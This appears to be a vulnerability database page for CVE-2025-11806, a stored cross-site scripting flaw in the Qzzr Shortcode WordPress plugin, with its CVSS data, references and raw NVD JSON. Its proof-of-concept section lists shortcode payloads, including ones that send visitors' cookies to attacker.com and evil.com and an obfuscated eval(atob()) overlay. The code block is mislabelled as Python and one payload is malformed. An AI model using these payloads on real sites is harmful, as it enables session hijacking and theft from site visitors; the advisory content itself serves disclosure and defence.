CVE-2025-11806

Description

The Qzzr Shortcode Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'qzzr' shortcode in all versions up to, and including, 1.0.1. This is due to insufficient input sanitization and output escaping on the 'quiz' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Qzzr Shortcode Plugin ≤ 1.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- WordPress Qzzr Shortcode XSS PoC -->
<!-- 贡献者或更高权限用户可在文章/页面中插入以下短代码 -->

[qzzr quiz='123"><script>alert('XSS - CVE-2025-11806')</script><div x=']

<!-- 或使用img标签onerror事件 -->
[qzzr quiz='456" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)" x=']

<!-- 更隐蔽的payload，使用事件处理器 -->
[qzzr quiz='789" onmouseover="eval(atob('YWxlcnQoJ1hTUycp'))" style="display:block;position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999"]

<!-- 实际利用示例 - 会话劫持 -->
[qzzr quiz='1"><script>fetch('https://evil.com/log?c='+btoa(document.cookie))</script>']

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11806
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11806
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11806/
[4] VulDB https://vuldb.com/cve/CVE-2025-11806
[5] https://plugins.trac.wordpress.org/browser/qzzr-shortcode/tags/1.0.1/qzzr.php#L35
[6] https://wordpress.org/plugins/qzzr-shortcode/
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/b5d5d6ec-bb23-4619-b5d9-9bd965b049b5?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11806", "sourceIdentifier": "[email protected]", "published": "2025-10-31T03:15:34.367", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Qzzr Shortcode Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'qzzr' shortcode in all versions up to, and including, 1.0.1. This is due to insufficient input sanitization and output escaping on the 'quiz' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/qzzr-shortcode/tags/1.0.1/qzzr.php#L35", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/qzzr-shortcode/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b5d5d6ec-bb23-4619-b5d9-9bd965b049b5?source=cve", "source": "[email protected]"}]}}